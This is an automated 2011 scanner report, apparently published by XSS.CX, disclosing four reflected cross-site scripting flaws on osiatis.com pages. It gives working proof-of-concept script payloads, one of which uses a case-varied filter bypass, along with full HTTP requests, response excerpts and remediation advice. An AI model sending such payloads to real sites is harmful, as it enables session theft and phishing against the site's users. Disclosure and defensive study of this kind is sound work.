XSS, DORK, Cross Site Scripting, osiatis.com, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Mar 09 12:54:17 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://www.osiatis.com/404.php3 [name of an arbitrarily supplied request parameter]

1.2. http://www.osiatis.com/rubrique.php3 [id_rubrique parameter]

1.3. http://www.osiatis.com/rubrique.php3 [id_rubrique parameter]

1.4. http://www.osiatis.com/rubrique.php3 [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.osiatis.com/404.php3 [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.osiatis.com
Path:   /404.php3

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3db1d--><script>alert(1)</script>5afb01b1914 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /404.php3?3db1d--><script>alert(1)</script>5afb01b1914=1 HTTP/1.1
Host: www.osiatis.com
Proxy-Connection: keep-alive
Referer: http://www.osiatis.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=8828640156315782886; __utma=77449611.248964206.1299693843.1299693843.1299693843.1; __utmb=77449611; __utmc=77449611; __utmz=77449611.1299693843.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2011 18:07:20 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) PHP/4.3.10-22
X-Powered-By: PHP/4.3.10-22
Composed-By: SPIP 1.8.3 @ www.spip.net
Vary: Cookie,Accept-Encoding
Last-Modified: Wed, 09 Mar 2011 18:07:20 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 29233

<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>OSIATIS</TITLE>
<LINK href="global.css" rel="stylesheet" type="text/css">
<SCRIPT type="text/JavaScript" s
...[SNIP]...
<td>REQUEST_URI : /404.php3?3db1d--><script>alert(1)</script>5afb01b1914=1</td>
...[SNIP]...

1.2. http://www.osiatis.com/rubrique.php3 [id_rubrique parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.osiatis.com
Path:   /rubrique.php3

Issue detail

The value of the id_rubrique request parameter is copied into an HTML comment. The payload 2d4cb--><script>alert(1)</script>cb8a22a70b1 was submitted in the id_rubrique parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /rubrique.php3?id_rubrique=352d4cb--><script>alert(1)</script>cb8a22a70b1 HTTP/1.1
Host: www.osiatis.com
Proxy-Connection: keep-alive
Referer: http://www.osiatis.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=8828640156315782886; __utma=77449611.248964206.1299693843.1299693843.1299693843.1; __utmc=77449611; __utmz=77449611.1299693843.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=77449611

Response

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2011 18:07:56 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) PHP/4.3.10-22
X-Powered-By: PHP/4.3.10-22
Composed-By: SPIP 1.8.3 @ www.spip.net
Vary: Cookie,Accept-Encoding
Last-Modified: Wed, 09 Mar 2011 18:07:56 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 17172

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>OSI
...[SNIP]...
<td>REQUEST_URI : /rubrique.php3?id_rubrique=352d4cb--><script>alert(1)</script>cb8a22a70b1</td>
...[SNIP]...

1.3. http://www.osiatis.com/rubrique.php3 [id_rubrique parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.osiatis.com
Path:   /rubrique.php3

Issue detail

The value of the id_rubrique request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 258cf"><ScRiPt>alert(1)</ScRiPt>599ffb0c311 was submitted in the id_rubrique parameter. This input was echoed as 258cf\"><ScRiPt>alert(1)</ScRiPt>599ffb0c311 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /rubrique.php3?id_rubrique=35258cf"><ScRiPt>alert(1)</ScRiPt>599ffb0c311 HTTP/1.1
Host: www.osiatis.com
Proxy-Connection: keep-alive
Referer: http://www.osiatis.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=8828640156315782886; __utma=77449611.248964206.1299693843.1299693843.1299693843.1; __utmc=77449611; __utmz=77449611.1299693843.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=77449611

Response

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2011 18:07:52 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) PHP/4.3.10-22
X-Powered-By: PHP/4.3.10-22
Composed-By: SPIP 1.8.3 @ www.spip.net
Vary: Cookie,Accept-Encoding
Last-Modified: Wed, 09 Mar 2011 18:07:52 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 17172

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>OSI
...[SNIP]...
<A href="#" onClick="ajoutPanier('35258cf\"><ScRiPt>alert(1)</ScRiPt>599ffb0c311','http://www.osiatis.com')" class="txt10Violet">
...[SNIP]...

1.4. http://www.osiatis.com/rubrique.php3 [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.osiatis.com
Path:   /rubrique.php3

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 54483--><script>alert(1)</script>1017fad4807 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /rubrique.php3?id_rubrique=35&54483--><script>alert(1)</script>1017fad4807=1 HTTP/1.1
Host: www.osiatis.com
Proxy-Connection: keep-alive
Referer: http://www.osiatis.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=8828640156315782886; __utma=77449611.248964206.1299693843.1299693843.1299693843.1; __utmc=77449611; __utmz=77449611.1299693843.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=77449611

Response

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2011 18:07:59 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) PHP/4.3.10-22
X-Powered-By: PHP/4.3.10-22
Composed-By: SPIP 1.8.3 @ www.spip.net
Vary: Cookie,Accept-Encoding
Last-Modified: Wed, 09 Mar 2011 18:07:59 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 142494


       <HTML lang="fr">
           <HEAD>
           <META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
           <TITLE>Outsourcing informatique et certification ITIL - Osiatis : communiqu&eacute;s de pr
...[SNIP]...
<td>REQUEST_URI : /rubrique.php3?id_rubrique=35&54483--><script>alert(1)</script>1017fad4807=1</td>
...[SNIP]...

Report generated by XSS.CX at Wed Mar 09 12:54:17 CST 2011.